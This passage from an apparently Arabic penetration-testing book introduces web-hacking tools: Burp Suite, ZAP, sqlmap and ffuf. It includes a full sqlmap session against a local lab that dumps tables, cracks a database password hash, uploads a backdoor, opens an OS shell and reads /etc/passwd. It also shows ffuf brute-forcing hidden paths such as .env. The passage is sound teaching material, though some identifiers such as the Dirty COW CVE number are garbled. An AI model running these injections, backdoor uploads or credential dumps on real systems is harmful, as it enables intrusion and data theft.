إن ترسانة الأدوات التي استعرضناها في هذا الفصل من Metasploit إلى pwntools تمثل سلسلة الهجوم الكاملة Kill Chain. لكن الاختراق الناجح ليس الهدف النهائي، بل هو نقطة البداية لمرحلة أعمق من التحليل. كل جلسة Meterpreter ناجحة، وكل تجاوز فعال لآلية دفاعية، يحمل في داخله بيانات ثمينة تكشف عن فشل فرضية أمنية، أو خلل في إعدادات الحماية، أو ضعف في التصميم المعماري للنظام.

وخير مثال على هذا المنهج هو اكتشاف ثغرة Dirty COW (CVE-5195-2016). هذه الثغرة الخطيرة، التي تسمح برفع الصلاحيات إلى مستوى root، لم يتم اكتشافها عبر هجوم خارجي مباشر، بل اكتشفها الباحث الأمني Phil Oester أثناء تحليله لنظام تم اختراقه مسبقاً. كانت الثغرة عبارة عن حالة سباق حرجة Race Condition داخل آلية النسخ عند الكتابة Copy-on-Write ضمن نواة Linux. الأسوأ أن هذا الخلل ظل موجوداً في الكود البرمجي لمدة تسع سنوات دون أن يلاحظه أحد. اكتشاف بهذا العمق لا يمكن أن يتحقق عبر ماسحات آلية أو أدوات فحص سريعة فقط، بل يتطلب مستوى خبرة معمقاً في فهم إدارة الذاكرة على مستوى النواة، وهو نفس النوع من الفهم الذي يتم بناؤه من خلال العمل المركز على أدوات تحليل منخفضة المستوى مثل GDB. ورغم إمكانية استغلال الثغرة بشكل مدمر، إلا أن النهج المسؤول في الإفصاح أدى إلى ترقيعات أمنية أنقذت ملايين الأنظمة من أجهزة Android إلى البنى التحتية السحابية.

مسؤوليتنا كخبراء أمنيين لا تتوقف عند استعراض الثغرات واستغلالها. دورنا يتجاوز ذلك نحو استخدام هذه المعرفة الهجومية العميقة لتوجيه تصميم الجيل القادم من الأنظمة. كل نظام يتم اختراقه هو درس معماري في كيفية بناء نظام أكثر صلابة. كل ثغرة يتم استغلالها هي فرصة لتثقيف المطورين والمدافعين وفهم ما الذي يجب تغييره على مستوى التصميم. الهدف الأسمى ليس فقط إتقان فن كسر الأنظمة، بل توظيف هذه المعرفة لبناء أنظمة آمنة بطبيعتها Secure by Design، بحيث يكون الأمان جزءاً من التصميم نفسه، لا مجرد ترقيع لاحق.

ولا ينتهي الأمر هنا. فبعد فهم كيفية السيطرة على الأنظمة من الداخل عبر الاستغلال العملي للثغرات، تأتي ساحة أخرى أكثر حساسية وتأثيراً وهي ساحة تطبيقات الويب. هناك حيث يصبح كل نموذج إدخال، وكل طلب HTTP، وكل واجهة API فرصة للهجوم إن لم يتم تصميمها وتأمينها بالشكل الصحيح. في الفصل القادم سننتقل من عالم الاستغلال على مستوى الأنظمة والخدمات إلى عالم اختراق تطبيقات الويب، حيث سنفهم كيف يتحول ضعف بسيط في تطبيق إلى كارثة عالمية، وكيف تبني أدوات مثل Burp Suite و OWASP ZAP و sqlmap و Nuclei الخط الدفاعي والهجومي الأهم في هذا الميدان.

٤ اختراق تطبيقات الويب

في الماضي، كانت القلاع تُبنى بأسوار حجرية ضخمة. اليوم، أصبحت قلاعنا الرقمية بنوكنا، متاجرنا، وحتى حكوماتنا محمية بواجهات زجاجية جميلة ومتفاعلة نسميها تطبيقات الويب. إنها الواجهة التي يراها العالم، وشريان الحياة الذي يتدفق من خلاله الاقتصاد الرقمي. لكن هذا الجمال يخفي هشاشة خطيرة. كل حقل إدخال، كل زر، كل واجهة برمجة تطبيقات (API) هي نافذة محتملة يمكن كسرها.

لندرك حجم الخطر دعونا نرجع بالزمن إلى عام 2017، ونتحدث عن كارثة Equifax، أحد أكبر مكاتب الائتمان في أمريكا لم يتم اختراقهم عبر هجوم معقد على أنظمة التشغيل أو كسر لكلمات المرور، بل من خلال ثغرة في تطبيق الويب الخاص بهم. كانت الثغرة (CVE-2017-5638) في إطار عمل شائع جداً يسمى Apache Struts، وهو مكون أساسي في العديد من تطبيقات جافا للويب. تم الإعلان عن الثغرة وتوفر الترقيع الأمني لها في مارس 2017 لكن Equifax لم تقم بتحديث أنظمتها.

بعد شهرين فقط في مايو 2017 اكتشف المهاجمون هذه النافذة المفتوحة. وباستخدام طلب HTTP بسيط ومصمم خصيصاً تمكنوا من تنفيذ تعليمات برمجية عن بعد (RCE) على خوادم Equifax. من هذه الثغرة البسيطة، أمضى المهاجمون 76 يوماً داخل الشبكة دون أن يتم اكتشافهم يتنقلون من نظام إلى آخر ويسحبون البيانات بهدوء. النتيجة كانت تسريب البيانات الشخصية الحساسة لأكثر من 147 مليون أمريكي، بما في ذلك الأسماء وأرقام الضمان الاجتماعي وتواريخ الميلاد. قُدرت تكلفة هذا الاختراق على الشركة بأكثر من 4.1 مليار دولار. كل هذا بسبب ثغرة واحدة غير مرقعة في تطبيق ويب.

هل تعلم؟ أن ثغرة حقن (SQL Injection) التي تم الحديث عنها لأول مرة في عام 1998 لا تزال حتى يومنا هذا واحدة من أخطر 3 تهديدات لتطبيقات الويب وفقاً لـ OWASP Top 10 لعام 2021. هذا يثبت أن المهاجمين لا يحتاجون دائماً إلى أسلحة متطورة فالأدوات القديمة والموثوقة لا تزال تعمل بكفاءة مذهلة.

لمواجهة هذا التحدي المعقد يحتاج الخبير إلى ترسانة متخصصة. في هذا القسم، سنتعمق في الأدوات التي تشكل العمود الفقري لاختبار اختراق الويب الحديث. سنبدأ بالعمالقة، الأدوات التي لا غنى عنها والتي تعمل كمختبر متنقل للمحلل، وهما Burp Suite و OWASP ZAP، اللذان يسمحان باعتراض وتحليل وتعديل كل جزء من حركة المرور. بعد ذلك، سننتقل إلى الأدوات الجراحية الدقيقة، مثل sqlmap، الأداة الأسطورية التي تحول عملية استغلال حقن SQL Injection المعقدة إلى علم دقيق. ثم سنتناول أدوات السرعة والكفاءة مثل ffuf و Nuclei، التي تمكننا من اكتشاف المحتوى المخفي وفحص آلاف الأهداف بحثًا عن أنماط الثغرات المعروفة بسرعة فائقة. وأخيراً، سنتطرق إلى الأدوات المتخصصة مثل WPScan، التي تظهر قوة التركيز على منصة واحدة. هذا المزيج من التحكم اليدوي الدقيق والأتمتة الذكية هو ما يميز المحترف الحقيقي في هذا المجال.

١.٤ Burp Suite

منصة Burp Suite تُعتبر المعيار الذهبي (The Gold Standard) بلا منازع، والأداة التي لا يمكن ممارسة اختبار أمان تطبيقات الويب (Web Application Security Testing) الحديثة بدونها وهي من شركة PortSwigger.

الفلسفة الجوهرية لهذه الأداة تكمن في كونها وسيط (Intercepting Proxy) شامل. كل شيء يبدأ من أداة Proxy الاعتراضية، هي تعمل كوكيل (Proxy) يجلس بين متصفحك والخادم (Server) مما يتيح لك الفحص والإعتراض وتعديل كل طلب (Request) HTTP/HTTPS وكل استجابة (Response). هذا الاعتراض (Interception) هو جوهر عملية الاختبار اليدوي (Manual Testing).

هنا تكمن قوة Burp الحقيقية وهي التكامل السلس بين أدواتها. فبمجرد اعتراض طلب مثير للاهتمام في Proxy، يمكن إرساله بضغطة زر إلى:

- **Repeater:** لإعادة إرسال الطلب مئات المرات مع تعديلات يدوية دقيقة، وهي الأداة المفضلة لاكتشاف الثغرات المنطقية (Logic Flaws) و IDOR.
- **Intruder:** لأتمتة الهجمات على متغيرات معينة، مثل هجمات القوة العمياء (Brute Force) على كلمات المرور أو تخمين المعرفات (Fuzzing).
- **Scanner:** في النسخة الاحترافية (Professional Edition) لإجراء فحص آلي (Automated Scanning) شامل للبحث عن ثغرات شائعة مثل SQL Injection و XSS.
- **Decoder:** لفك ترميز البيانات (Decoding) مثل Base64 أو URL Encoding.
- **Comparer:** لمقارنة الطلبات والاستجابات بشكل تفصيلي.

ما يوسع قدرات الأداة بشكل لا نهائي هو متجر الإضافات (BApp Store)، الذي يضيف ميزات متقدمة يطورها مجتمع الأمن السيبراني. لهذا السبب، وبدعم من المنصة التعليمية الرائدة Web Security Academy، يُعد Burp Suite حجر الزاوية لكل مختبر اختراق تطبيقات الويب.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط
أنظمة التشغيل	Windows, Linux, macOS
التكلفة	مجاني/مدفوع
نوع الترخيص	احتكاري

مميزات أداة Burp Suite

تحميل: https://portswigger.net/burp

٢.٤ OWASP ZAP

أداة OWASP Zed Attack Proxy (ZAP) هي ماسح أمان تطبيقات الويب مفتوح المصدر الأكثر شعبية واستخدامًا في العالم، وتُعد جزءًا من مشروع OWASP العالمي. تعمل الأداة كوكيل اعتراضي رجل في المنتصف (Man-in-the-Middle Proxy) لفحص وتعديل حركة المرور بين المتصفح والخادم، مما يتيح للمختبرين اكتشاف الثغرات الأمنية يدويًا. كما توفر ZAP ماسحًا ضوئيًا آليًا قويًا (Active & Passive Scanner) يكتشف ثغرات مثل XSS, SQL Injection, CSRF، وغيرها من ثغرات OWASP Top 10. تتميز بواجهة سهلة الاستخدام، ودعم للإضافات (Add-ons)، وإمكانية التشغيل من سطر الأوامر للأتمتة الكاملة (CI/CD)، وتوليد تقارير شاملة. الأداة مثالية للمبتدئين والمحترفين على حد سواء، ومدعومة بمجتمع نشط ووثائق تعليمية ممتازة.

الخاصية	القيمة
مستوى المهارة المطلوب	مبتدئ إلى متوسط
أنظمة التشغيل	Windows, Linux, macOS
التكلفة	مجاني
نوع الترخيص	Apache-0.2

مميزات أداة OWASP ZAP

تحميل: https://www.zaproxy.org

٣.٤ sqlmap

تُعتبر sqlmap الأداة المعيارية الأقوى والأكثر شمولاً في العالم لأتمتة اكتشاف واستغلال ثغرات حقن SQL (SQL Injection). هذه الأداة المكتوبة بلغة Python تُعد سكين الجيش السويسري (Swiss Army Knife) لمختبري اختراق قواعد البيانات، حيث تحوّل ما كان عملية يدوية معقدة ومملة إلى عملية مؤتمتة بالكامل.

تبدأ قوة sqlmap من دعمها الهائل لمجموعة واسعة من أنظمة إدارة قواعد البيانات (أكثر من 10 أنظمة)، بما في ذلك MySQL, PostgreSQL, Oracle, Microsoft SQL Server, SQLite, MariaDB وغيرها. الأداة لا تكتفي باكتشاف نقطة الحقن، بل تقوم تلقائياً بتحديد نوع الحقن المناسب، سواء كان:

- **UNION query-based:** لاستخراج البيانات مباشرة.
- **Error-based:** لاستخراج البيانات عبر رسائل الخطأ من قاعدة البيانات.

- **Boolean-based blind:** لطرح أسئلة (نعم/لا) واستنتاج البيانات.
- **Time-based blind:** لاستنتاج البيانات بناءً على وقت استجابة قاعدة البيانات.

بمجرد تحديد نقطة الحقن، تتحول sqlmap من أداة اكتشاف إلى أداة استغلال متكاملة، مما يتيح للمختبر ليس فقط سحب محتوى قواعد البيانات والجداول والأعمدة (dump--)، بل يتيح أيضاً (في حال كانت الصلاحيات تسمح) قراءة وكتابة الملفات على الخادم (file-read--/file-write--)، أو حتى تنفيذ أوامر نظام التشغيل مباشرة (os-shell--, os-cmd--). بالإضافة إلى ذلك، تحتوي الأداة على إمكانيات مدمجة لتجاوز العديد من أنظمة الحماية الخاصة بتطبيقات الويب (WAFs) عبر استخدام سكربتات tamper مخصصة لتفادي الفلترة.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط
أنظمة التشغيل	Windows, Linux, macOS
نوع الترخيص	GNU GPLv2

خصائص أداة sqlmap

مثال عملي: دورة حياة استغلال كاملة لثغرة SQL Injection وصولاً إلى نظام التشغيل (OS-Shell):

```
sqlmap -u "http://127.0.0.1:1337/data.php?id=1" --dbs --tables --dump
--os-shell --batch
```

شرح المثال: هذا الأمر يمثل الهجوم الشامل حيث يبدأ الأداة باكتشاف قواعد البيانات (dbs--)، ثم استخراج الجداول من القاعدة المستهدفة (tables--)، ثم سحب بيانات المستخدمين (dump--)، والشي الجبار حقاً هو محاولة الحصول على واجهة أوامر للنظام (os-shell--) للتحكم الكامل في الخادم. الخيار batch-- يضمن تنفيذ كل هذه العمليات تلقائياً دون توقف للسؤال.

المخرجات:

```
  (yaser CyberBookio)-[~]
 $ sqlmap -u "http://127.0.0.1:1337/data.php?id=1" --dbs --batch

        ___
       __H__
 ___ ___['']_____ ___ ___  {1.9.11#stable}
```

```
|_ -| . [)]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual cons

[*] starting @ 02:24:30 /2025-12-27/

[02:24:30] [INFO] resuming back-end DBMS 'mysql'
[02:24:30] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 8444=8444 AND 'gfKv'='gfKv

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=1' AND (SELECT 5635 FROM(SELECT COUNT(*),CONCAT(0x716a6b7071,(SELECT

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 2837 FROM (SELECT(SLEEP(5)))oleH) AND 'aHgW'='aHgW

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b7071,0x467771777166414e6
---
[02:24:30] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.33, Apache 2.4.53
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
```

```
[02:24:30] [INFO] fetching database names
[02:24:30] [WARNING] reflective value(s) found and filtering out
available databases [5]:
[*] evangelion_sqli
[*] information_schema
[*] mysql
[*] performance_schema
[*] test

[02:24:30] [INFO] fetched data logged to text files under '/home/yaser/.local/share/s

[*] ending @ 02:24:30 /2025-12-27/

  (yaser CyberBookio)-[~]
 $ sqlmap -u "http://127.0.0.1:1337/data.php?id=1" -D evangelion_sqli --tables --batc
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.9.11#stable}
|_ -| . ['']     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual cons

[*] starting @ 02:24:48 /2025-12-27/

[02:24:48] [INFO] resuming back-end DBMS 'mysql'
[02:24:48] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
```

```
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 8444=8444 AND 'gfKv'='gfKv

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=1' AND (SELECT 5635 FROM(SELECT COUNT(*),CONCAT(0x716a6b7071,(SELECT

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 2837 FROM (SELECT(SLEEP(5)))oleH) AND 'aHgW'='aHgW

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b7071,0x467771777166414e6
---
[02:24:48] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.33, Apache 2.4.53
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[02:24:48] [INFO] fetching tables for database: 'evangelion_sqli'
[02:24:48] [WARNING] reflective value(s) found and filtering out
Database: evangelion_sqli
[2 tables]
+-------+
| Info  |
| Users |
+-------+

[02:24:48] [INFO] fetched data logged to text files under '/home/yaser/.local/share/s

[*] ending @ 02:24:48 /2025-12-27/

  (yaser CyberBookio)-[~]
```

```
 $ sqlmap -u "http://127.0.0.1:1337/data.php?id=1" -D evangelion_sqli -T Users --dump

        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.9.11#stable}
|_ -| . ['] |  .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual cons

[*] starting @ 02:25:01 /2025-12-27/

[02:25:01] [INFO] resuming back-end DBMS 'mysql'
[02:25:01] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 8444=8444 AND 'gfKv'='gfKv

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=1' AND (SELECT 5635 FROM(SELECT COUNT(*),CONCAT(0x716a6b7071,(SELECT

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 2837 FROM (SELECT(SLEEP(5)))oleH) AND 'aHgW'='aHgW

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b7071,0x467771777166414e6
```

```
---
[02:25:01] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.53, PHP 7.3.33
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[02:25:01] [INFO] fetching columns for table 'Users' in database 'evangelion_sqli'
[02:25:01] [WARNING] reflective value(s) found and filtering out
[02:25:01] [INFO] fetching entries for table 'Users' in database 'evangelion_sqli'
Database: evangelion_sqli
Table: Users
[3 entries]
+----+-----+-------------------------------------------------------------------------
| id | Age | Bio
+----+-----+-------------------------------------------------------------------------
| 1  | 14  | Ayanami Rei is the First Child and pilot of Evangelion Unit-00. She is q
| 2  | 14  | Asuka Langley Soryu is one of the central characters in Neon Genesis Eva
| 3  | 14  | Ikari Shinji is the designated pilot of Evangelion Unit-01 and the son o
especially Ayanami, Asuka, and his father-are complicated and often strained, but the
+----+-----+-------------------------------------------------------------------------

[02:25:01] [INFO] table 'evangelion_sqli.Users' dumped to CSV file '/home/yaser/.loca
[02:25:01] [INFO] fetched data logged to text files under '/home/yaser/.local/share/s

[*] ending @ 02:25:01 /2025-12-27/

  (yaser CyberBookio)-[~]
 $ sqlmap -u "http://127.0.0.1:1337/data.php?id=1" --users --passwords

        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.9.11#stable}
|_ -| . ['] |  .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
```

```
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual cons

[*] starting @ 02:25:11 /2025-12-27/

[02:25:11] [INFO] resuming back-end DBMS 'mysql'
[02:25:11] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 8444=8444 AND 'gfKv'='gfKv

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=1' AND (SELECT 5635 FROM(SELECT COUNT(*),CONCAT(0x716a6b7071,(SELECT

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 2837 FROM (SELECT(SLEEP(5)))oleH) AND 'aHgW'='aHgW

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b7071,0x467771777166414e6
---
[02:25:11] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.53, PHP 7.3.33
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[02:25:11] [INFO] fetching database users
[02:25:11] [WARNING] reflective value(s) found and filtering out
database management system users [6]:
```

```
[*] ''@'buildkitsandbox'
[*] ''@'localhost'
[*] 'eva'@'localhost'
[*] 'mariadb.sys'@'localhost'
[*] 'mysql'@'localhost'
[*] 'root'@'localhost'

[02:25:11] [INFO] fetching database users password hashes
do you want to store hashes to a temporary file for eventual further processing with
[02:25:13] [INFO] writing hashes to a temporary file '/tmp/sqlmap905lwkm054814/sqlmap
do you want to perform a dictionary-based attack against retrieved password hashes? [
[02:25:15] [INFO] using hash method 'mysql_passwd'
[02:25:15] [INFO] resuming password 'eva12345' for hash '*72665f48246041eb6c81a28a43b
database management system users password hashes:
[*] eva [1]:
    password hash: *72665F48246041EB6C81A28A43BEA3655BA39067
    clear-text password: eva12345
[*] mariadb.sys [1]:
    password hash: NULL
[*] mysql [1]:
    password hash: invalid
[*] root [1]:
    password hash: invalid

[02:25:15] [INFO] fetched data logged to text files under '/home/yaser/.local/share/s

[*] ending @ 02:25:15 /2025-12-27/

  (yaser CyberBookio)-[~]
 $ sqlmap -u "http://127.0.0.1:1337/data.php?id=1" --os-shell --batch
        ___
       __H__
```

```
 ___ ___["]_____ ___ ___  {1.9.11#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual cons

[*] starting @ 02:25:34 /2025-12-27/

[02:25:34] [INFO] resuming back-end DBMS 'mysql'
[02:25:34] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 8444=8444 AND 'gfKv'='gfKv

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=1' AND (SELECT 5635 FROM(SELECT COUNT(*),CONCAT(0x716a6b7071,(SELECT

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 2837 FROM (SELECT(SLEEP(5)))oleH) AND 'aHgW'='aHgW

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b7071,0x467771777166414e6
---
[02:25:34] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.33, Apache 2.4.53
```

```
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[02:25:34] [INFO] going to use a web backdoor for command prompt
[02:25:34] [INFO] fingerprinting the back-end DBMS operating system
[02:25:34] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
[02:25:34] [INFO] retrieved the web server document root: '/var/www'
[02:25:34] [INFO] retrieved web server absolute paths: '/var/www/html/data.php'
[02:25:34] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TE
[02:25:34] [WARNING] reflective value(s) found and filtering out
[02:25:34] [WARNING] potential permission problems detected ('Permission denied')
[02:25:34] [WARNING] unable to upload the file stager on '/var/www/'
[02:25:34] [INFO] trying to upload the file stager on '/var/www/' via UNION method
[02:25:34] [WARNING] expect junk characters inside the file as a leftover from UNION
[02:25:34] [WARNING] it looks like the file has not been written (usually occurs if t
[02:25:34] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LIN
[02:25:34] [INFO] the file stager has been successfully uploaded on '/var/www/html/'
[02:25:34] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - h
[02:25:34] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> ifconfig
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output:
---
eth0      Link encap:Ethernet  HWaddr 02:42:AC:12:00:02
          inet addr:172.18.0.2  Bcast:172.18.255.255  Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1477 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1345 errors:0 dropped:0 overruns:0 carrier:0
```

```
          collisions:0 txqueuelen:0
          RX bytes:209708 (204.7 KiB)  TX bytes:371262 (362.5 KiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

---
os-shell> cat /etc/passwd
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output:
---
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
```

```
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
apache:x:100:101:apache:/var/www:/sbin/nologin
mysql:x:101:102:mysql:/var/lib/mysql:/sbin/nologin
---
os-shell> exit
[02:25:53] [INFO] cleaning up the web files uploaded
[02:25:53] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 9 times
[02:25:53] [INFO] fetched data logged to text files under '/home/yaser/.local/share/s

[*] ending @ 02:25:53 /2025-12-27/
```

تحميل: https://sqlmap.org

٤.٤ ffuf

يُعتبر ffuf (اختصاراً للعبارة الطريفة Fuzz Faster U Fool) التجسيد الحديث والاحترافي لمفهوم تخمين الويب (Web Fuzzing). هذه الأداة، المكتوبة بلغة Go للاستفادة القصوى من السرعة والمعالجة المتزامنة، لم تأتِ فقط لتكون بديلاً أسرع لأدوات مثل Dirb، بل لتغيير منهجية الفحص تماماً. قوتها الحقيقية تكمن في مرونتها المطلقة المعتمدة على الكلمة المفتاحية FUZZ.

بينما تقوم الأدوات التقليدية بمهام محددة مسبقاً، يسمح لك ffuf بحقن المدخلات في أي مكان داخل طلب HTTP. يمكنك وضع علامة FUZZ في المسار (Path) لاكتشاف الملفات والمجلدات، أو في الترويسات (Headers) لاكتشاف

المضيفين الافتراضيين (VHost Discovery)، أو داخل جسم الطلب (Body) لاختبار مدخلات JSON أو XML، أو حتى على أسماء المعلمات (Parameters) لاكتشاف واجهات برمجية مخفية.

ما يجعل ffuf الأداة المفضلة لمحترفي مكافآت الثغرات (Bug Bounty Hunters) ليس فقط سرعتها، بل نظام الفلترة والمطابقة (Filtering & Matching) المتقدم جداً الذي تمتلكه. فعند إطلاق مئات أو آلاف الطلبات في الثانية، يصبح التحدي هو عزل الإيجابيات الحقيقية عن الضجيج. توفر الأداة خيارات دقيقة للفلترة والمطابقة بناءً على حجم الاستجابة (fs-)، عدد الكلمات (fw-)، عدد الأسطر (fl-)، رموز الحالة (fc-)، أو حتى أنماط ريجكس (fr-)، مما يمنح الباحث نتائج نظيفة ودقيقة يمكن الاعتماد عليها في أتمتة عمليات الفحص المعقدة.

الخاصية	القيمة
مستوى المهارة المطلوب	مبتدئ إلى متوسط
أنظمة التشغيل	Windows, Linux, macOS
التكلفة	مجاني بالكامل
نوع الترخيص	MIT License

خصائص أداة ffuf

مثال عملي: اكتشاف الملفات والدلائل المخفية في موقع ويب باستخدام قائمة كلمات مع تصفية النتائج:

```
ffuf -w /usr/share/wordlists/dirb/common.txt -u
http://127.0.0.1:1337/FUZZ -fc 404
```

شرح المثال: هذا الأمر يهدف لاكتشاف المخفي داخل الموقع. حيث يتم استبدال الكلمة المفتاحية FUZZ بكل كلمة موجودة في القائمة. وتتميز هنا في استخدام الخيار fc- 404 الذي يقوم بإخفاء أي نتيجة تعني أن الصفحة غير موجودة، مما يترك لك فقط المسارات التي استجاب لها الخادم فعلياً.

المخرجات:

```
 (yaser CyberBookio)-[~]
$ ffuf -w /usr/share/wordlists/dirb/common.txt -u http://127.0.0.1:1337/FUZZ -fc 404

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
```

```
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
------------------------------------------------

 :: Method           : GET
 :: URL              : http://127.0.0.1:1337/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403
 :: Filter           : Response status: 404
------------------------------------------------

[Status: 301, Size: 149, Words: 5, Lines: 8, Duration: 12ms]
    * FUZZ: admin

[Status: 200, Size: 2471, Words: 342, Lines: 85, Duration: 15ms]
    * FUZZ: api

[Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 18ms]
    * FUZZ: backup

[Status: 200, Size: 452, Words: 42, Lines: 15, Duration: 11ms]
    * FUZZ: config.php

[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 14ms]
    * FUZZ: .env
```

```
[Status: 200, Size: 1893, Words: 156, Lines: 67, Duration: 22ms]
    * FUZZ: uploads

